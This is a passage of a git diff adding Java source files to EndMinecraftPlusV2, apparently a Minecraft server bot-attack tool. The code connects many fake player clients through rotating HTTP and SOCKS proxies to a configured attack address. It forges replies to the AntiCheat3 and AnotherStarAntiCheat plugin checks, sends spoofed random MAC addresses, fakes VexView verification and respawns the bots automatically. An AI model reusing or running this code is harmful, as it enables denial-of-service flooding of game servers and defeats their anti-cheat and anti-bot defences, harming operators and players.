LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,278 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientCommand;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundSetHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ClientboundCustomPayloadPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ClientboundLoginPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ClientboundPlayerPositionPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ClientboundSystemChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) recvPacket;
|
||||
Component message = chatPacket.getContent();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ClientboundKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundKeepAlivePacket serverKeepAlivePacket = (ClientboundKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ClientboundSetHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundSetHealthPacket serverPlayerHealthPacket = (ClientboundSetHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundChatPacket chatPacket = new ServerboundChatPacket(text, System.currentTimeMillis(), 0, new byte[0], false);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundCommandSuggestionPacket clientTabCompletePacket = new ServerboundCommandSuggestionPacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||
return chatPacket.getContent();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ServerboundCustomPayloadPacket clientPluginMessagePacket = new ServerboundCustomPayloadPacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ServerboundClientInformationPacket clientSettingsPacket = new ServerboundClientInformationPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ServerboundSetCarriedItemPacket clientPlayerChangeHeldItemPacket = new ServerboundSetCarriedItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ServerboundMovePlayerPosRotPacket clientPlayerPositionRotationPacket = new ServerboundMovePlayerPosRotPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ServerboundMovePlayerStatusOnlyPacket clientPlayerMovementPacket = new ServerboundMovePlayerStatusOnlyPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ServerboundKeepAlivePacket packet = new ServerboundKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ServerboundClientCommandPacket clientRequestPacket = new ServerboundClientCommandPacket(ClientCommand.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.19.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,214 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
}
|
@ -0,0 +1,279 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_1_1_19_2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientCommand;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundSetHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
